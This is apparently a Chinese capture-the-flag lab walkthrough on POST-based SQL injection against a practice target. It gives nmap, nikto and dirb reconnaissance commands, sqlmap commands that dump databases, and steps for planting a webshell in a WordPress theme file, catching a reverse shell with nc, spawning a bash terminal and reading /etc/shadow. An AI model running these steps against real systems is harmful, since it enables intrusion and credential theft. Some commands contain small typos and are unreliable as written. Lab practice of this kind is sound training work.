ctf—SQL注入(post)
SQL注入漏洞介绍
sql注入攻击指用用户构建特殊的输入作为参数传入web应用程序,通过执行sql语句,而执行攻击者所要的操作,主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统。
任何一个用户可以输入的位置都可以是注入点。比如url中,以及http报文中,post传递的参数
1.信息探测
扫描主机开放的全部端口
nmap -T4 -p -靶场IP
快速扫描主机全部信息
nmap -T4 -A -v 靶场IP
探测敏感信息
nikto -host http://靶场ip:端口
dirb http://靶场ip:端口
2.漏洞扫描
漏洞扫描器——Owasp-zap(功能强大,专注于web安全的漏洞扫描器)
3.漏洞利用
针对web进行漏洞扫描
对扫描的结果进行分析。注意,如果有sql注入漏洞,可以直接利用。但是扫描结果也不一定准确。
使用sqlmap利用SQL注入漏洞
sqlmap -r request.raw -level 5 -risk 3 -dbs -dbms mysql --batch
sqlmap -r request.raw -level 5 -risk 3 -D “数据库名” -tables 查看对应数据库中的数据表 --batch
sqlmap -r request.raw -level 5 -risk 3 -D “数据库名” -T “表名” -columns 查看对应的字段 --batch
sqlmap -r request.raw -level 5 -risk 3 -D “数据库名” -T"表名" -C“列名” -dump --batch
使用burp来抓取数据包
sqlmap探测
4. 上传webshell获取控制权
wordpress后台寻找上传点
主题的404.php可以上传webshell
webshell获取 /usr/share/webshell/php/
上传webshell
上传webshell后,
启动监听 nc nlvp port
启动终端 python -c"import pty;pty.spawn(’/bin/bash’)"
5. root权限
使用cat/etc/shadow/ cat/etc/passwd 查看敏感文件
使用su- 提升root权限